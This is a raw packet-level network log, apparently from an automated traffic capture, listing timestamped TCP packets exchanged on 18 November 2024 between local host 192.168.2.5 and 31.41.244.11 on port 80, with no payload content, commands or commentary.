Nov 18, 2024 19:04:15.379638910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379663944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379671097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379712105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379743099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379764080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379781961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379786968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379800081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379817009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379822016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379832029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379833937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379854918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379862070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379868984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379888058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379888058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379899025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379908085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379925013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379926920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379945040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379947901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379961967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379972935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379980087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379997015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380001068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380014896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380028009 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380032063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380042076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380049944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380059958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380079985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380089045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380096912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380108118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380140066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380145073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380151987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380163908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380179882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380181074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380199909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380202055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380218983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380220890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380235910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380243063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380249023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380265951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380269051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380283117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380283117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380300045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380300999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380316973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380332947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380343914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380343914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380352020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380358934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380367994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380379915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380386114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380399942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380403996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380413055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380422115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380434036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380439997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380450964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380459070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.380469084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380486965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.380502939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.381671906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.381721973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.381834984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.381855965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.381907940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382508039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382523060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382558107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382574081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382580996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382594109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382601023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382612944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382627010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382639885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382658958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.382841110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.382896900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383029938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383048058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383081913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383095026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383099079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383116961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383117914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383135080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383150101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383174896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383177042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383193016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383227110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383239031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383261919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383351088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383369923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383404016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383411884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383493900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383512974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383559942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383694887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383713961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383732080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383757114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383766890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383783102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383807898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383865118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383882999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383900881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383918047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383924007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383939981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.383945942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383971930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.383991003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384016037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384033918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384052038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384069920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384078979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384088039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384088993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384128094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384143114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384386063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384404898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384422064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384435892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384447098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384452105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384475946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384475946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384485960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384504080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384507895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384521008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384527922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384538889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384541035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384555101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384572983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384572983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384591103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384598017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384608984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.384620905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384640932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.384653091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416541100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416553974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416570902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416616917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416655064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416784048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416793108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416809082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416816950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416826963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416835070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416842937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416843891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416877985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416887999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416893959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416904926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416918993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416928053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416935921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416944981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416954041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416956902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.416961908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416970968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.416977882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.417002916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.417114019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476031065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476087093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476109028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476126909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476150990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476161957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476182938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476186037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476207018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476216078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476233959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476254940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476260900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476274967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476324081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476344109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476363897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476398945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476417065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476444006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476473093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476490974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476514101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476520061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476526022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476546049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476553917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476563931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476567030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476624012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476628065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476639032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476671934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476689100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476706982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476722002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476727962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476746082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476814985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476824999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476850986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476865053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476882935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476912022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.476937056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476955891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476974964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.476984024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477010965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477037907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477087975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477122068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477138996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477138996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477159023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477163076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477174997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477179050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477193117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477207899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477225065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477242947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477340937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477359056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477376938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477394104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477395058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477412939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477415085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477432966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477435112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477456093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477468014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477487087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477591038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477610111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477627039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477639914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477644920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477658987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477663994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.477678061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477703094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.477713108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492294073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492330074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492340088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492363930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492396116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492440939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492451906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492460012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492472887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492495060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492506981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492697001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492707014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492722988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492732048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492741108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492748976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492749929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492760897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.492775917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.492795944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.493042946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.493048906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.493065119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.493073940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.493097067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.493114948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.496068001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496077061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496094942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496120930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.496150017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.496172905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496181965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496197939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496208906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496222973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.496249914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.496366024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.496419907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497345924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497371912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497381926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497399092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497419119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497509956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497519970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497535944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497565031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497581959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497663975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497673988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497682095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497716904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497745037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497754097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497770071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497792006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497808933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497832060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497840881 CET	80	49977	31.41.244.11	192.168.2.5
